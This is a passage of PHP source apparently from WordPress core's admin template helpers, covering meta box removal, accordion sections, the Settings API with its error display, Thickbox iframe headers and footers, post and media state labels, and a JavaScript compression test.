 *                                        post type, 'link', or 'comment'). Accepts a single screen ID,
 *                                        WP_Screen object, or array of screen IDs.
 * @param string                 $context The context within the screen where the box is set to display.
 *                                        Contexts vary from screen to screen. Post edit screen contexts
 *                                        include 'normal', 'side', and 'advanced'. Comments screen contexts
 *                                        include 'normal' and 'side'. Menus meta boxes (accordion sections)
 *                                        all use the 'side' context.
 */
function remove_meta_box( $id, $screen, $context ) {
	global $wp_meta_boxes;

	if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	} elseif ( is_array( $screen ) ) {
		foreach ( $screen as $single_screen ) {
			remove_meta_box( $id, $single_screen, $context );
		}
	}

	if ( ! isset( $screen->id ) ) {
		return;
	}

	$page = $screen->id;

	if ( ! isset( $wp_meta_boxes ) ) {
		$wp_meta_boxes = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ] ) ) {
		$wp_meta_boxes[ $page ] = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		$wp_meta_boxes[ $page ][ $context ] = array();
	}

	foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
		$wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = false;
	}
}

/**
 * Meta Box Accordion Template Function.
 *
 * Largely made up of abstracted code from do_meta_boxes(), this
 * function serves to build meta boxes as list items for display as
 * a collapsible accordion.
 *
 * @since 3.6.0
 *
 * @uses global $wp_meta_boxes Used to retrieve registered meta boxes.
 *
 * @param string|object $screen      The screen identifier.
 * @param string        $context     The screen context for which to display accordion sections.
 * @param mixed         $data_object Gets passed to the section callback function as the first parameter.
 * @return int Number of meta boxes as accordion sections.
 */
function do_accordion_sections( $screen, $context, $data_object ) {
	global $wp_meta_boxes;

	wp_enqueue_script( 'accordion' );

	if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$page = $screen->id;

	$hidden = get_hidden_meta_boxes( $screen );
	?>
	<div id="side-sortables" class="accordion-container">
		<ul class="outer-border">
	<?php
	$i          = 0;
	$first_open = false;

	if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
				foreach ( $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
					if ( false === $box || ! $box['title'] ) {
						continue;
					}

					++$i;
					$hidden_class = in_array( $box['id'], $hidden, true ) ? 'hide-if-js' : '';

					$open_class = '';
					if ( ! $first_open && empty( $hidden_class ) ) {
						$first_open = true;
						$open_class = 'open';
					}
					?>
					<li class="control-section accordion-section <?php echo $hidden_class; ?> <?php echo $open_class; ?> <?php echo esc_attr( $box['id'] ); ?>" id="<?php echo esc_attr( $box['id'] ); ?>">
						<h3 class="accordion-section-title hndle" tabindex="0">
							<?php echo esc_html( $box['title'] ); ?>
							<span class="screen-reader-text">
								<?php
								/* translators: Hidden accessibility text. */
								_e( 'Press return or enter to open this section' );
								?>
							</span>
						</h3>
						<div class="accordion-section-content <?php postbox_classes( $box['id'], $page ); ?>">
							<div class="inside">
								<?php call_user_func( $box['callback'], $data_object, $box ); ?>
							</div><!-- .inside -->
						</div><!-- .accordion-section-content -->
					</li><!-- .accordion-section -->
					<?php
				}
			}
		}
	}
	?>
		</ul><!-- .outer-border -->
	</div><!-- .accordion-container -->
	<?php
	return $i;
}

/**
 * Adds a new section to a settings page.
 *
 * Part of the Settings API. Use this to define new settings sections for an admin page.
 * Show settings sections in your admin page callback function with do_settings_sections().
 * Add settings fields to your section with add_settings_field().
 *
 * The $callback argument should be the name of a function that echoes out any
 * content you want to show at the top of the settings section before the actual
 * fields. It can output nothing if you want.
 *
 * @since 2.7.0
 * @since 6.1.0 Added an `$args` parameter for the section's HTML wrapper and class name.
 *
 * @global array $wp_settings_sections Storage array of all settings sections added to admin pages.
 *
 * @param string   $id       Slug-name to identify the section. Used in the 'id' attribute of tags.
 * @param string   $title    Formatted title of the section. Shown as the heading for the section.
 * @param callable $callback Function that echos out any content at the top of the section (between heading and fields).
 * @param string   $page     The slug-name of the settings page on which to show the section. Built-in pages include
 *                           'general', 'reading', 'writing', 'discussion', 'media', etc. Create your own using
 *                           add_options_page();
 * @param array    $args     {
 *     Arguments used to create the settings section.
 *
 *     @type string $before_section HTML content to prepend to the section's HTML output.
 *                                  Receives the section's class name as `%s`. Default empty.
 *     @type string $after_section  HTML content to append to the section's HTML output. Default empty.
 *     @type string $section_class  The class name to use for the section. Default empty.
 * }
 */
function add_settings_section( $id, $title, $callback, $page, $args = array() ) {
	global $wp_settings_sections;

	$defaults = array(
		'id'             => $id,
		'title'          => $title,
		'callback'       => $callback,
		'before_section' => '',
		'after_section'  => '',
		'section_class'  => '',
	);

	$section = wp_parse_args( $args, $defaults );

	if ( 'misc' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$page = 'general';
	}

	if ( 'privacy' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$page = 'reading';
	}

	$wp_settings_sections[ $page ][ $id ] = $section;
}

/**
 * Adds a new field to a section of a settings page.
 *
 * Part of the Settings API. Use this to define a settings field that will show
 * as part of a settings section inside a settings page. The fields are shown using
 * do_settings_fields() in do_settings_sections().
 *
 * The $callback argument should be the name of a function that echoes out the
 * HTML input tags for this setting field. Use get_option() to retrieve existing
 * values to show.
 *
 * @since 2.7.0
 * @since 4.2.0 The `$class` argument was added.
 *
 * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections.
 *
 * @param string   $id       Slug-name to identify the field. Used in the 'id' attribute of tags.
 * @param string   $title    Formatted title of the field. Shown as the label for the field
 *                           during output.
 * @param callable $callback Function that fills the field with the desired form inputs. The
 *                           function should echo its output.
 * @param string   $page     The slug-name of the settings page on which to show the section
 *                           (general, reading, writing, ...).
 * @param string   $section  Optional. The slug-name of the section of the settings page
 *                           in which to show the box. Default 'default'.
 * @param array    $args {
 *     Optional. Extra arguments that get passed to the callback function.
 *
 *     @type string $label_for When supplied, the setting title will be wrapped
 *                             in a `<label>` element, its `for` attribute populated
 *                             with this value.
 *     @type string $class     CSS Class to be added to the `<tr>` element when the
 *                             field is output.
 * }
 */
function add_settings_field( $id, $title, $callback, $page, $section = 'default', $args = array() ) {
	global $wp_settings_fields;

	if ( 'misc' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$page = 'general';
	}

	if ( 'privacy' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$page = 'reading';
	}

	$wp_settings_fields[ $page ][ $section ][ $id ] = array(
		'id'       => $id,
		'title'    => $title,
		'callback' => $callback,
		'args'     => $args,
	);
}

/**
 * Prints out all settings sections added to a particular settings page.
 *
 * Part of the Settings API. Use this in a settings page callback function
 * to output all the sections and fields that were added to that $page with
 * add_settings_section() and add_settings_field()
 *
 * @global array $wp_settings_sections Storage array of all settings sections added to admin pages.
 * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections.
 * @since 2.7.0
 *
 * @param string $page The slug name of the page whose settings sections you want to output.
 */
function do_settings_sections( $page ) {
	global $wp_settings_sections, $wp_settings_fields;

	if ( ! isset( $wp_settings_sections[ $page ] ) ) {
		return;
	}

	foreach ( (array) $wp_settings_sections[ $page ] as $section ) {
		if ( '' !== $section['before_section'] ) {
			if ( '' !== $section['section_class'] ) {
				echo wp_kses_post( sprintf( $section['before_section'], esc_attr( $section['section_class'] ) ) );
			} else {
				echo wp_kses_post( $section['before_section'] );
			}
		}

		if ( $section['title'] ) {
			echo "<h2>{$section['title']}</h2>\n";
		}

		if ( $section['callback'] ) {
			call_user_func( $section['callback'], $section );
		}

		if ( ! isset( $wp_settings_fields ) || ! isset( $wp_settings_fields[ $page ] ) || ! isset( $wp_settings_fields[ $page ][ $section['id'] ] ) ) {
			continue;
		}
		echo '<table class="form-table" role="presentation">';
		do_settings_fields( $page, $section['id'] );
		echo '</table>';

		if ( '' !== $section['after_section'] ) {
			echo wp_kses_post( $section['after_section'] );
		}
	}
}

/**
 * Prints out the settings fields for a particular settings section.
 *
 * Part of the Settings API. Use this in a settings page to output
 * a specific section. Should normally be called by do_settings_sections()
 * rather than directly.
 *
 * @global array $wp_settings_fields Storage array of settings fields and their pages/sections.
 *
 * @since 2.7.0
 *
 * @param string $page Slug title of the admin page whose settings fields you want to show.
 * @param string $section Slug title of the settings section whose fields you want to show.
 */
function do_settings_fields( $page, $section ) {
	global $wp_settings_fields;

	if ( ! isset( $wp_settings_fields[ $page ][ $section ] ) ) {
		return;
	}

	foreach ( (array) $wp_settings_fields[ $page ][ $section ] as $field ) {
		$class = '';

		if ( ! empty( $field['args']['class'] ) ) {
			$class = ' class="' . esc_attr( $field['args']['class'] ) . '"';
		}

		echo "<tr{$class}>";

		if ( ! empty( $field['args']['label_for'] ) ) {
			echo '<th scope="row"><label for="' . esc_attr( $field['args']['label_for'] ) . '">' . $field['title'] . '</label></th>';
		} else {
			echo '<th scope="row">' . $field['title'] . '</th>';
		}

		echo '<td>';
		call_user_func( $field['callback'], $field['args'] );
		echo '</td>';
		echo '</tr>';
	}
}

/**
 * Registers a settings error to be displayed to the user.
 *
 * Part of the Settings API. Use this to show messages to users about settings validation
 * problems, missing settings or anything else.
 *
 * Settings errors should be added inside the $sanitize_callback function defined in
 * register_setting() for a given setting to give feedback about the submission.
 *
 * By default messages will show immediately after the submission that generated the error.
 * Additional calls to settings_errors() can be used to show errors even when the settings
 * page is first accessed.
 *
 * @since 3.0.0
 * @since 5.3.0 Added `warning` and `info` as possible values for `$type`.
 *
 * @global array[] $wp_settings_errors Storage array of errors registered during this pageload
 *
 * @param string $setting Slug title of the setting to which this error applies.
 * @param string $code    Slug-name to identify the error. Used as part of 'id' attribute in HTML output.
 * @param string $message The formatted message text to display to the user (will be shown inside styled
 *                        `<div>` and `<p>` tags).
 * @param string $type    Optional. Message type, controls HTML class. Possible values include 'error',
 *                        'success', 'warning', 'info'. Default 'error'.
 */
function add_settings_error( $setting, $code, $message, $type = 'error' ) {
	global $wp_settings_errors;

	$wp_settings_errors[] = array(
		'setting' => $setting,
		'code'    => $code,
		'message' => $message,
		'type'    => $type,
	);
}

/**
 * Fetches settings errors registered by add_settings_error().
 *
 * Checks the $wp_settings_errors array for any errors declared during the current
 * pageload and returns them.
 *
 * If changes were just submitted ($_GET['settings-updated']) and settings errors were saved
 * to the 'settings_errors' transient then those errors will be returned instead. This
 * is used to pass errors back across pageloads.
 *
 * Use the $sanitize argument to manually re-sanitize the option before returning errors.
 * This is useful if you have errors or notices you want to show even when the user
 * hasn't submitted data (i.e. when they first load an options page, or in the {@see 'admin_notices'}
 * action hook).
 *
 * @since 3.0.0
 *
 * @global array[] $wp_settings_errors Storage array of errors registered during this pageload
 *
 * @param string $setting  Optional. Slug title of a specific setting whose errors you want.
 * @param bool   $sanitize Optional. Whether to re-sanitize the setting value before returning errors.
 * @return array[] {
 *     Array of settings error arrays.
 *
 *     @type array ...$0 {
 *         Associative array of setting error data.
 *
 *         @type string $setting Slug title of the setting to which this error applies.
 *         @type string $code    Slug-name to identify the error. Used as part of 'id' attribute in HTML output.
 *         @type string $message The formatted message text to display to the user (will be shown inside styled
 *                               `<div>` and `<p>` tags).
 *         @type string $type    Optional. Message type, controls HTML class. Possible values include 'error',
 *                               'success', 'warning', 'info'. Default 'error'.
 *     }
 * }
 */
function get_settings_errors( $setting = '', $sanitize = false ) {
	global $wp_settings_errors;

	/*
	 * If $sanitize is true, manually re-run the sanitization for this option
	 * This allows the $sanitize_callback from register_setting() to run, adding
	 * any settings errors you want to show by default.
	 */
	if ( $sanitize ) {
		sanitize_option( $setting, get_option( $setting ) );
	}

	// If settings were passed back from options.php then use them.
	if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] && get_transient( 'settings_errors' ) ) {
		$wp_settings_errors = array_merge( (array) $wp_settings_errors, get_transient( 'settings_errors' ) );
		delete_transient( 'settings_errors' );
	}

	// Check global in case errors have been added on this pageload.
	if ( empty( $wp_settings_errors ) ) {
		return array();
	}

	// Filter the results to those of a specific setting if one was set.
	if ( $setting ) {
		$setting_errors = array();

		foreach ( (array) $wp_settings_errors as $key => $details ) {
			if ( $setting === $details['setting'] ) {
				$setting_errors[] = $wp_settings_errors[ $key ];
			}
		}

		return $setting_errors;
	}

	return $wp_settings_errors;
}

/**
 * Displays settings errors registered by add_settings_error().
 *
 * Part of the Settings API. Outputs a div for each error retrieved by
 * get_settings_errors().
 *
 * This is called automatically after a settings page based on the
 * Settings API is submitted. Errors should be added during the validation
 * callback function for a setting defined in register_setting().
 *
 * The $sanitize option is passed into get_settings_errors() and will
 * re-run the setting sanitization
 * on its current value.
 *
 * The $hide_on_update option will cause errors to only show when the settings
 * page is first loaded. if the user has already saved new values it will be
 * hidden to avoid repeating messages already shown in the default error
 * reporting after submission. This is useful to show general errors like
 * missing settings when the user arrives at the settings page.
 *
 * @since 3.0.0
 * @since 5.3.0 Legacy `error` and `updated` CSS classes are mapped to
 *              `notice-error` and `notice-success`.
 *
 * @param string $setting        Optional slug title of a specific setting whose errors you want.
 * @param bool   $sanitize       Whether to re-sanitize the setting value before returning errors.
 * @param bool   $hide_on_update If set to true errors will not be shown if the settings page has
 *                               already been submitted.
 */
function settings_errors( $setting = '', $sanitize = false, $hide_on_update = false ) {

	if ( $hide_on_update && ! empty( $_GET['settings-updated'] ) ) {
		return;
	}

	$settings_errors = get_settings_errors( $setting, $sanitize );

	if ( empty( $settings_errors ) ) {
		return;
	}

	$output = '';

	foreach ( $settings_errors as $key => $details ) {
		if ( 'updated' === $details['type'] ) {
			$details['type'] = 'success';
		}

		if ( in_array( $details['type'], array( 'error', 'success', 'warning', 'info' ), true ) ) {
			$details['type'] = 'notice-' . $details['type'];
		}

		$css_id    = sprintf(
			'setting-error-%s',
			esc_attr( $details['code'] )
		);
		$css_class = sprintf(
			'notice %s settings-error is-dismissible',
			esc_attr( $details['type'] )
		);

		$output .= "<div id='$css_id' class='$css_class'> \n";
		$output .= "<p><strong>{$details['message']}</strong></p>";
		$output .= "</div> \n";
	}

	echo $output;
}

/**
 * Outputs the modal window used for attaching media to posts or pages in the media-listing screen.
 *
 * @since 2.7.0
 *
 * @param string $found_action Optional. The value of the 'found_action' input field. Default empty string.
 */
function find_posts_div( $found_action = '' ) {
	?>
	<div id="find-posts" class="find-box" style="display: none;">
		<div id="find-posts-head" class="find-box-head">
			<?php _e( 'Attach to existing content' ); ?>
			<button type="button" id="find-posts-close"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Close media attachment panel' );
				?>
			</span></button>
		</div>
		<div class="find-box-inside">
			<div class="find-box-search">
				<?php if ( $found_action ) { ?>
					<input type="hidden" name="found_action" value="<?php echo esc_attr( $found_action ); ?>" />
				<?php } ?>
				<input type="hidden" name="affected" id="affected" value="" />
				<?php wp_nonce_field( 'find-posts', '_ajax_nonce', false ); ?>
				<label class="screen-reader-text" for="find-posts-input">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Search' );
					?>
				</label>
				<input type="text" id="find-posts-input" name="ps" value="" />
				<span class="spinner"></span>
				<input type="button" id="find-posts-search" value="<?php esc_attr_e( 'Search' ); ?>" class="button" />
				<div class="clear"></div>
			</div>
			<div id="find-posts-response"></div>
		</div>
		<div class="find-box-buttons">
			<?php submit_button( __( 'Select' ), 'primary alignright', 'find-posts-submit', false ); ?>
			<div class="clear"></div>
		</div>
	</div>
	<?php
}

/**
 * Displays the post password.
 *
 * The password is passed through esc_attr() to ensure that it is safe for placing in an HTML attribute.
 *
 * @since 2.7.0
 */
function the_post_password() {
	$post = get_post();
	if ( isset( $post->post_password ) ) {
		echo esc_attr( $post->post_password );
	}
}

/**
 * Gets the post title.
 *
 * The post title is fetched and if it is blank then a default string is
 * returned.
 *
 * @since 2.7.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string The post title if set.
 */
function _draft_or_post_title( $post = 0 ) {
	$title = get_the_title( $post );
	if ( empty( $title ) ) {
		$title = __( '(no title)' );
	}
	return esc_html( $title );
}

/**
 * Displays the search query.
 *
 * A simple wrapper to display the "s" parameter in a `GET` URI. This function
 * should only be used when the_search_query() cannot.
 *
 * @since 2.7.0
 */
function _admin_search_query() {
	echo isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';
}

/**
 * Generic Iframe header for use with Thickbox.
 *
 * @since 2.7.0
 *
 * @global string    $hook_suffix
 * @global string    $admin_body_class
 * @global WP_Locale $wp_locale        WordPress date and time locale object.
 *
 * @param string $title      Optional. Title of the Iframe page. Default empty.
 * @param bool   $deprecated Not used.
 */
function iframe_header( $title = '', $deprecated = false ) {
	show_admin_bar( false );
	global $hook_suffix, $admin_body_class, $wp_locale;
	$admin_body_class = preg_replace( '/[^a-z0-9_-]+/i', '-', $hook_suffix );

	$current_screen = get_current_screen();

	header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
	_wp_admin_html_begin();
	?>
<title><?php bloginfo( 'name' ); ?> &rsaquo; <?php echo $title; ?> &#8212; <?php _e( 'WordPress' ); ?></title>
	<?php
	wp_enqueue_style( 'colors' );
	?>
<script type="text/javascript">
addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
function tb_close(){var win=window.dialogArguments||opener||parent||top;win.tb_remove();}
var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>',
	pagenow = '<?php echo esc_js( $current_screen->id ); ?>',
	typenow = '<?php echo esc_js( $current_screen->post_type ); ?>',
	adminpage = '<?php echo esc_js( $admin_body_class ); ?>',
	thousandsSeparator = '<?php echo esc_js( $wp_locale->number_format['thousands_sep'] ); ?>',
	decimalPoint = '<?php echo esc_js( $wp_locale->number_format['decimal_point'] ); ?>',
	isRtl = <?php echo (int) is_rtl(); ?>;
</script>
	<?php
	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_enqueue_scripts', $hook_suffix );

	/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_print_styles-{$hook_suffix}" );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_styles' );

	/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_print_scripts-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_scripts' );

	/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_head-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_head' );

	$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );

	if ( is_rtl() ) {
		$admin_body_class .= ' rtl';
	}

	?>
</head>
	<?php
	/**
	 * @global string $body_id
	 */
	$admin_body_id = isset( $GLOBALS['body_id'] ) ? 'id="' . $GLOBALS['body_id'] . '" ' : '';

	/** This filter is documented in wp-admin/admin-header.php */
	$admin_body_classes = apply_filters( 'admin_body_class', '' );
	$admin_body_classes = ltrim( $admin_body_classes . ' ' . $admin_body_class );
	?>
<body <?php echo $admin_body_id; ?>class="wp-admin wp-core-ui no-js iframe <?php echo esc_attr( $admin_body_classes ); ?>">
<script type="text/javascript">
(function(){
var c = document.body.className;
c = c.replace(/no-js/, 'js');
document.body.className = c;
})();
</script>
	<?php
}

/**
 * Generic Iframe footer for use with Thickbox.
 *
 * @since 2.7.0
 */
function iframe_footer() {
	/*
	 * We're going to hide any footer output on iFrame pages,
	 * but run the hooks anyway since they output JavaScript
	 * or other needed content.
	 */

	/**
	 * @global string $hook_suffix
	 */
	global $hook_suffix;
	?>
	<div class="hidden">
	<?php
	/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_footer', $hook_suffix );

	/** This action is documented in wp-admin/admin-footer.php */
	do_action( "admin_print_footer_scripts-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_print_footer_scripts' );
	?>
	</div>
<script type="text/javascript">if(typeof wpOnload==='function')wpOnload();</script>
</body>
</html>
	<?php
}

/**
 * Echoes or returns the post states as HTML.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$display` parameter and a return value.
 *
 * @see get_post_states()
 *
 * @param WP_Post $post    The post to retrieve states for.
 * @param bool    $display Optional. Whether to display the post states as an HTML string.
 *                         Default true.
 * @return string Post states string.
 */
function _post_states( $post, $display = true ) {
	$post_states        = get_post_states( $post );
	$post_states_string = '';

	if ( ! empty( $post_states ) ) {
		$state_count = count( $post_states );

		$i = 0;

		$post_states_string .= ' &mdash; ';

		foreach ( $post_states as $state ) {
			++$i;

			$separator = ( $i < $state_count ) ? ', ' : '';

			$post_states_string .= "<span class='post-state'>{$state}{$separator}</span>";
		}
	}

	if ( $display ) {
		echo $post_states_string;
	}

	return $post_states_string;
}

/**
 * Retrieves an array of post states from a post.
 *
 * @since 5.3.0
 *
 * @param WP_Post $post The post to retrieve states for.
 * @return string[] Array of post state labels keyed by their state.
 */
function get_post_states( $post ) {
	$post_states = array();

	if ( isset( $_REQUEST['post_status'] ) ) {
		$post_status = $_REQUEST['post_status'];
	} else {
		$post_status = '';
	}

	if ( ! empty( $post->post_password ) ) {
		$post_states['protected'] = _x( 'Password protected', 'post status' );
	}

	if ( 'private' === $post->post_status && 'private' !== $post_status ) {
		$post_states['private'] = _x( 'Private', 'post status' );
	}

	if ( 'draft' === $post->post_status ) {
		if ( get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) {
			$post_states[] = __( 'Customization Draft' );
		} elseif ( 'draft' !== $post_status ) {
			$post_states['draft'] = _x( 'Draft', 'post status' );
		}
	} elseif ( 'trash' === $post->post_status && get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) {
		$post_states[] = _x( 'Customization Draft', 'post status' );
	}

	if ( 'pending' === $post->post_status && 'pending' !== $post_status ) {
		$post_states['pending'] = _x( 'Pending', 'post status' );
	}

	if ( is_sticky( $post->ID ) ) {
		$post_states['sticky'] = _x( 'Sticky', 'post status' );
	}

	if ( 'future' === $post->post_status ) {
		$post_states['scheduled'] = _x( 'Scheduled', 'post status' );
	}

	if ( 'page' === get_option( 'show_on_front' ) ) {
		if ( (int) get_option( 'page_on_front' ) === $post->ID ) {
			$post_states['page_on_front'] = _x( 'Front Page', 'page label' );
		}

		if ( (int) get_option( 'page_for_posts' ) === $post->ID ) {
			$post_states['page_for_posts'] = _x( 'Posts Page', 'page label' );
		}
	}

	if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) {
		$post_states['page_for_privacy_policy'] = _x( 'Privacy Policy Page', 'page label' );
	}

	/**
	 * Filters the default post display states used in the posts list table.
	 *
	 * @since 2.8.0
	 * @since 3.6.0 Added the `$post` parameter.
	 * @since 5.5.0 Also applied in the Customizer context. If any admin functions
	 *              are used within the filter, their existence should be checked
	 *              with `function_exists()` before being used.
	 *
	 * @param string[] $post_states An array of post display states.
	 * @param WP_Post  $post        The current post object.
	 */
	return apply_filters( 'display_post_states', $post_states, $post );
}

/**
 * Outputs the attachment media states as HTML.
 *
 * @since 3.2.0
 * @since 5.6.0 Added the `$display` parameter and a return value.
 *
 * @param WP_Post $post    The attachment post to retrieve states for.
 * @param bool    $display Optional. Whether to display the post states as an HTML string.
 *                         Default true.
 * @return string Media states string.
 */
function _media_states( $post, $display = true ) {
	$media_states        = get_media_states( $post );
	$media_states_string = '';

	if ( ! empty( $media_states ) ) {
		$state_count = count( $media_states );

		$i = 0;

		$media_states_string .= ' &mdash; ';

		foreach ( $media_states as $state ) {
			++$i;

			$separator = ( $i < $state_count ) ? ', ' : '';

			$media_states_string .= "<span class='post-state'>{$state}{$separator}</span>";
		}
	}

	if ( $display ) {
		echo $media_states_string;
	}

	return $media_states_string;
}

/**
 * Retrieves an array of media states from an attachment.
 *
 * @since 5.6.0
 *
 * @param WP_Post $post The attachment to retrieve states for.
 * @return string[] Array of media state labels keyed by their state.
 */
function get_media_states( $post ) {
	static $header_images;

	$media_states = array();
	$stylesheet   = get_option( 'stylesheet' );

	if ( current_theme_supports( 'custom-header' ) ) {
		$meta_header = get_post_meta( $post->ID, '_wp_attachment_is_custom_header', true );

		if ( is_random_header_image() ) {
			if ( ! isset( $header_images ) ) {
				$header_images = wp_list_pluck( get_uploaded_header_images(), 'attachment_id' );
			}

			if ( $meta_header === $stylesheet && in_array( $post->ID, $header_images, true ) ) {
				$media_states[] = __( 'Header Image' );
			}
		} else {
			$header_image = get_header_image();

			// Display "Header Image" if the image was ever used as a header image.
			if ( ! empty( $meta_header ) && $meta_header === $stylesheet && wp_get_attachment_url( $post->ID ) !== $header_image ) {
				$media_states[] = __( 'Header Image' );
			}

			// Display "Current Header Image" if the image is currently the header image.
			if ( $header_image && wp_get_attachment_url( $post->ID ) === $header_image ) {
				$media_states[] = __( 'Current Header Image' );
			}
		}

		if ( get_theme_support( 'custom-header', 'video' ) && has_header_video() ) {
			$mods = get_theme_mods();
			if ( isset( $mods['header_video'] ) && $post->ID === $mods['header_video'] ) {
				$media_states[] = __( 'Current Header Video' );
			}
		}
	}

	if ( current_theme_supports( 'custom-background' ) ) {
		$meta_background = get_post_meta( $post->ID, '_wp_attachment_is_custom_background', true );

		if ( ! empty( $meta_background ) && $meta_background === $stylesheet ) {
			$media_states[] = __( 'Background Image' );

			$background_image = get_background_image();
			if ( $background_image && wp_get_attachment_url( $post->ID ) === $background_image ) {
				$media_states[] = __( 'Current Background Image' );
			}
		}
	}

	if ( (int) get_option( 'site_icon' ) === $post->ID ) {
		$media_states[] = __( 'Site Icon' );
	}

	if ( (int) get_theme_mod( 'custom_logo' ) === $post->ID ) {
		$media_states[] = __( 'Logo' );
	}

	/**
	 * Filters the default media display states for items in the Media list table.
	 *
	 * @since 3.2.0
	 * @since 4.8.0 Added the `$post` parameter.
	 *
	 * @param string[] $media_states An array of media states. Default 'Header Image',
	 *                               'Background Image', 'Site Icon', 'Logo'.
	 * @param WP_Post  $post         The current attachment object.
	 */
	return apply_filters( 'display_media_states', $media_states, $post );
}

/**
 * Tests support for compressing JavaScript from PHP.
 *
 * Outputs JavaScript that tests if compression from PHP works as expected
 * and sets an option with the result. Has no effect when the current user
 * is not an administrator. To run the test again the option 'can_compress_scripts'
 * has to be deleted.
 *
 * @since 2.8.0
 */
function compression_test() {
	?>
	<script type="text/javascript">
	var compressionNonce = <?php echo wp_json_encode( wp_create_nonce( 'update_can_compress_scripts' ) ); ?>;
	var testCompression = {
		get : function(test) {
			var x;
			if ( window.XMLHttpRequest ) {
				x = new XMLHttpRequest();
			} else {
				try{x=new ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{x=new ActiveXObject('Microsoft.XMLHTTP');}catch(e){};}
			}

			if (x) {
				x.onreadystatechange = function() {
					var r, h;
					if ( x.readyState == 4 ) {
						r = x.responseText.substr(0, 18);
						h = x.getResponseHeader('Content-Encoding');
						testCompression.check(r, h, test);
					}
				};

				x.open('GET', ajaxurl + '?action=wp-compression-test&test='+test+'&_ajax_nonce='+compressionNonce+'&'+(new Date()).getTime(), true);
				x.send('');
			}
		},

		check : function(r, h, test) {
			if ( ! r && ! test )
				this.get(1);

			if ( 1 == test ) {
				if ( h && ( h.match(/deflate/i) || h.match(/gzip/i) ) )
					this.get('no');
				else
					this.get(2);

				return;
			}

			if ( 2 == test ) {
				if ( '"wpCompressionTest' === r )
					this.get('yes');
				else
					this.get('no');
			}
		}
	};
	testCompression.check();
	</script>
	<?php
}

/**
 * Echoes a submit button, with provided text and appropriate class(es).
 *
 * @since 3.1.0
 *
 * @see get_submit_button()
 *
 * @param string       $text             The text of the button (defaults to 'Save Changes')
 * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
 *                                       include 'primary', 'small', and 'large'. Default 'primary'.
 * @param string       $name             The HTML name of the submit button. Defaults to "submit". If no
 *                                       id attribute is given in $other_attributes below, $name will be
 *                                       used as the button's id.
 * @param bool         $wrap             True if the output button should be wrapped in a paragraph tag,
 *                                       false otherwise. Defaults to true.
 * @param array|string $other_attributes Other attributes that should be output with the button, mapping
 *                                       attributes to their values, such as setting tabindex to 1, etc.
 *                                       These key/value attribute pairs will be output as attribute="value",
 *                                       where attribute is the key. Other attributes can also be provided
 *                                       as a string such as 'tabindex="1"', though the array format is
 *                                       preferred. Default null.
 */
function submit_button( $text = null, $type = 'primary', $name = 'submit', $wrap = true, $other_attributes = null ) {
	echo get_submit_button( $text, $type, $name, $wrap, $other_attributes );
}

/**
 * Returns a submit button, with provided text and appropriate class.
 *
 * @since 3.1.0
 *
 * @param string       $text             Optional. The text of the button. Default 'Save Changes'.
